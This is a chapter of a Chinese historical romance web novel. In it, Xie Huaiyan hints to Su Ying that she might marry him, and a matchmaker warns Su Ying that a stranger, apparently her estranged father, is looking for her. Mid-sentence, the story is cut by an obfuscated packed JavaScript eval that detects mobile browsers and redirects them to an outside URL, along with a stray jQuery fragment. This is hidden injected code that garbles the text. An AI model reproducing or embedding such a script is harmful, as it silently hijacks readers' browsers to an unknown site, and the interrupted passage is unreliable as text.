两人相视一笑。
苏潆望向谢怀延院中的那棵金桂。虽已过了花期,入了深秋,却依旧茂盛的样子。
“这棵桂花树是二夫人移来公子院儿里的?”苏潆忍不住问。
谢怀延道:“这棵树有些年头了,母亲不忍它被伐,便花了重金让匠人移来我的院子,并照料了一段时日。”
看这棵金桂长得这般好,想来是匠人细心,“主人家”也关心。
“那……二公子喜欢金桂吗?”
谢怀延也不知该如何回答。曾经不算喜欢,却也不讨厌。如今却觉不闻着这香味,好似少了些什么。
“只是叹天旋时异,不忍好树落了个枯木成柴的下场。”
谢怀延看向苏潆,见她站得笔直,微微仰头望着树,侧脸恬淡柔和,有一种柔软的坚毅。
“金桂多好啊!”苏潆笑着对谢怀延道:“能吊酒做菜,亦能煮茶入药。二公子得机缘能养着这棵金桂,日后也能喝到用金桂吊的酒,这便是因果。”
说起吊酒来,谢怀延又记起那日,自己去苏潆小院儿里,见她与秦云凌喝酒,忽觉自己心里又泛起苦涩。
原来,她不只是与自己喝酒,也能与别的男子喝酒谈心。
那一刻他忽然意识到,自己在她苏潆的心里不是“特别”,她在自己心里才是。
扯了扯唇角,不知是在笑她还是在笑自己。谢怀延知道自己起了别的心思,却还不能在这种时候袒露分毫。
因为小心谨慎的苏潆必定不能承受。
她会逃。
谢怀延笑意凉了下来,甚至带了丝丝冷气:“苏姑娘既说因果,可信因果?”
苏潆想了想:“所谓因果,既是‘彼出于是,是亦因彼’(注1),也是‘福来有由,祸来有渐’(注2)。”
这第一句的意思是,事物之间是相互联系的,而第二句话则是指福有源头,祸却往往是逐渐形成的。
“苏姑娘的意思是,信,却又不全信?”
谢怀延不愧是饱读圣贤书的人,能懂她话中之意。
苏潆笑着点头:“不因福祸怨天尤人,不以因果诿罪自己,万事随心且随缘。”
说人话就是,遇到困难不怨天不怨地,更不怨自己是否走错路。故而信不信因果,都是随她心意而定。
这也是她的人生信条。
谢怀延悠悠叹道:“苏姑娘既如此通透,怎看不清前路?”
苏潆蹙眉,这是要对她说教?自己的前路如何走,又与谢怀延有何关系呢?
“前路不走,怎知不是对的路?二公子如此问,我倒想听听,二公子有何高见?”
谢怀延自诩无错。苏潆想要带走苏姨娘和杪冬,去过自己的日子。先不说他大伯父会不会放了苏姨娘,杪冬的身契在谢家,就连她或许也逃脱不了谢家为其说亲的命运。
难道她能回苏家?苏家或许是比谢家还要吃人的地狱。
他理解苏潆,却认为她的决定是下下策。
沉默良久后,谢怀延才道:“留在谢家。”
留在……谢家?
苏潆失笑。
她有选择,她会做点心,能做生意,能赚银子。她为何要留在谢家?而留在谢家的她,又是什么身份呢?
“二公子可知谢家人背后称我为外姓人?即使老夫人可怜我,我也摆脱不了这身份。就算我不带任何人离开,及笄后,我依然会从谢家出嫁。”
其实没差的,无非是谢家找一门还算过眼的将她打发了,亦或是苏家将她卖得更彻底些。
她无身契在谢家,不算奴,若说一句走,无人能拦得住她。
能牵制她,让她舍不下的,唯有姐姐和杪冬罢了。
“你也可不嫁他人。”谢怀延低声补了一句。
苏潆愣怔:“那我嫁谁?”
“谢家不是没有正值婚龄的年轻公子,不必非得嫁去外面。”
又是一阵沉默,苏潆才反应过来:是自己想多了,想岔了?他不会是……那个意思吧……
谢家正值婚龄的公子就三个,大房那两个是决计不可能的,那不就剩他一个了?
不是说好“为友”的么?
苏潆倒更想,他是作为朋友来与她说的这番话。
犹豫了一阵,苏潆道:“二公子……我……”
她才刚开口,杪冬回来了。
苏潆忙着对谢怀延行了一礼:“天色不早,二公子早些休息。”
说罢将手里的食盒给了绍六,绍六看着手里的东西挠了挠头。
苏姑娘怎么不亲自拿给公子?又看谢怀延,见他神情很是落寞。
他叹了一声,进屋将食盒打开,拿出里面的碟子笑道:“居然是栗子糕!奴儿时总吵着要让娘亲买来吃,那时家里穷,母亲说栗子糕贵,过年才能买,奴就天天盼着,结果一直到来了谢家,才吃到一两次。”
谢怀延拿起一块,目色沉郁:“绍六,你说人是否会对得不到的东西,盼着念着?”
绍六道:“那是自然,奴要是能每日都吃上栗子糕,便不会天天念了。”
谢怀延放下栗子糕,目光又落在了那棵金桂上,一声长长的叹息。
孟冬初寒,裹着寒气的冷风透过窗棂吹入院中,一层寒雨,一层朔风。注3
因着天气冷了,秦香斋的生意虽稳定,但也比往日红火的时候冷清不少,秦云燕便又开始愁眉不展。
苏潆劝她:“有旺季自然有淡季,就连城中最好的金月酒楼都没有日日生意好的,姐姐放宽心。”
“你说得也不错,如今最差的时候都比原来好些,我是多虑了。”
苏潆看完这个月的账簿,与秦云燕算了这个月分红的银钱,让杪冬去存入钱庄,转头问她:“姐姐有心事?”
秦云燕心中确实藏了不少事,身边也没个人能说的,就盼着苏潆能出来。眼瞧着杪冬走远,她才道:“还不是为了我那弟弟的事。”
秦云凌?苏潆端起桌上的茶汤抿了一口,淡然一笑:“秦大哥不是去了司狱使身边么,怎得姐姐不放心?”
就是去了司狱使身边她才不放心。
苏潆听说过此人。司狱使严文清,为人刚正不阿,因此得罪了不少人。且他审的都是朝廷重犯、要犯,新帝为了用好他这把刀,前前后后给他换了三个保镖,听闻前两个都死了。
秦云燕的担心不无道理。
“姐姐可有劝过他?”
秦云燕叹道:“劝过了,可他认准了严大人,非跟着他不可!早知便不送他去学武了,学成了木头脑袋,真是气人!”
苏潆笑道:“姐姐稍安,秦大哥一身武艺,却被奸人挑唆斗殴,遭了牢狱。若不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987018|190884||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去严大人身边,怕是只能在秦香斋做一辈子点心。如今也算是谋得一条出路,姐姐该高兴才是。”
秦云燕就只有这一个亲人,自是怕他出事:“我只愿他平平安安就好,没想让他出人头地。”
“严大人身边才是秦大哥志之所向,姐姐不如让他做些自己喜欢的事,人嘛,总要向前看,姐姐也很该为自己打算。”
已过了韶华年纪的她,没了当年的心气,不爱打扮也没成婚的心思,渐渐忘了自己也是女娘。
秦云燕以为苏潆想要劝婚,头摇得像拨浪鼓:“我才不愿成婚,自己一个人也挺好。”
苏潆倒不是劝她找个人嫁了,只是希望她能少操心别人,多关心自己。
但这个朝代的女子,又有几人不是为了家族而活,为了亲人而活?
待杪冬回来,苏潆拉着两人去逛街买冬装。
如今她手里有钱了,想着还有一个半月便是除夕,难得大方一回,与杪冬和姐姐一人添置了两套冬衣。
本想替秦云燕也瞧两件,秦云燕却不爱穿这些华而不实的衣服,摆手拒了,自己去隔壁店里挑了普通衣料,闹着要自己回去做。
苏潆拗不过她,又拉着她去买胭脂水粉,在店中亲自为她化了妆。
融合了现代美的淡妆,却着重花了眼睛,描了眉,点了唇。
秦云燕险些认不出自己来。
杪冬也惊叹:“姑娘,你这手艺何时学的?”
苏潆十分满意自己的杰作,搁下手里的东西,笑道:“这算什么,你家姑娘会的还多着呢!”
三人换了新装,又在街面上逛了许久才回去,见着店里多了一个人,都有些惊讶。
来人是赵媒婆。
她神神秘秘拉着几人进了里间才道:“适才有人托我找人。”
赵媒婆看向苏潆。
苏潆忽觉一股寒意上涌,心中有了不好的预感。
“不知是何人找您打听我,打听了些什么事?”
赵媒婆回忆了片刻,才道:“瘦瘦高高的,年纪虽不小了,却是一副好相貌!他说是找一个十四五岁的小姑娘,姓苏,长得花容月貌,还有一手好厨艺。”
这样的人在别处难打听,但赵媒婆与秦云燕熟识,自然认识了苏潆。一听他这说的不就是谢家的苏姑娘么。也不敢声张,只说了句没听过这号人便走了,暗地里却跟着他,摸清了他的住处。
她告诉苏潆:“住城西头那家脚店里,瞧着不是富户人家。”
苏潆心里“咯噔”一下,似有些不可置信。
这不是她那爹还能有谁?
赵媒婆看她神色不对,估摸着她认识这人,忍不住劝道:“这人瞧着像难缠的人,你若和他有所牵扯,赶紧回了谢家,别让他瞧见了。”
苏潆的身世赵媒婆并不知道,只是她识人很是厉害,是个好胚还是坏枣看两眼便知。苏潆这样的姑娘,样貌好,性情好,还愿意掏心掏肺地帮自己姐妹,她怎会不知苏潆是个什么人。
能帮一次是一次,那人看着与她很有几分相似,赵媒婆知道自己掺和别人家务事了,忙告辞离开。
“妹子,赶紧回谢家,这段时日别出来了。”
苏潆思忖良久。躲是躲不掉的,不如闻难思解,迎难而上。
她与姐姐心里这根刺,早晚都要亲手拔掉才好。